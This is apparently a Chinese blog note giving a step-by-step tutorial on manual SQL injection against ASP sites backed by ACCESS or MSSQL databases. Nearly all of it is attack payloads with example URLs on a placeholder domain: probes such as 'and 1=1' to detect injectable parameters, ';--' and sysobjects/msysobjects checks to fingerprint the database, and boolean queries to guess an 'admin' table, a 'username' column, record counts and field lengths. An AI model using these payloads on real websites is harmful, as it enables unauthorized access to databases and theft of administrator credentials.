第一部分:ACCESS数据库手工注入
1。判断是否存在注入漏洞:
A。数字型参数注入点分析
and 1=1 还是 and 1=2
B。字符型参数注入点分析
and '1'='1 and '1'='2
2。数据库类型的判断
A。在注入点后直接加上单引号
B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没用!): ;--(一个分号,两个横线!)
http://www.xxxxxxxx.com/article/as.asp?id=875;--
如果页面返回正常的话,说明数据库是MSSQL
如果页面错误,那基本上可以肯定是ACCESS了
补充 http://www.xxxxxxxx.com/article/as.asp?id=875 and user>0
C。用以上方法都判断不出来的话,那可以用这一招!利用ACCESS和MSSQL数据库的差异来进行判断
and exists (select count(*) from sysobjects) MSSQL
and exists (select count(*) from msysobjects)
如果第一条返回正常,那就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库了(这里只讨论MSSQL和ACCESS)
注意:上面讲的全是参数是int的时候的检测方法,如果参数是字符型的,那就先要在参数后面加上单引号,然后再在查询语句最后加上";--"
3。猜表、字段名、检测记录数、检测字段长度。
A。猜表!用到的语句:and exists (select count(*) from 你要猜的表名) 。
and exists (select count(*) from admin)
http://www.xxxxxxxx.com/article/as.asp?id=875 and exists (select count(*) from admin)
B。猜列!
用到的语句:and (select count(列名) from 猜到的表名)>0
http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(username) from admin)>0
C。检测记录数
用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)
http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(*) from admin)>2
D。检测字段长度
用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。
手工注入摘记
最新推荐文章于 2024-10-11 17:04:33 发布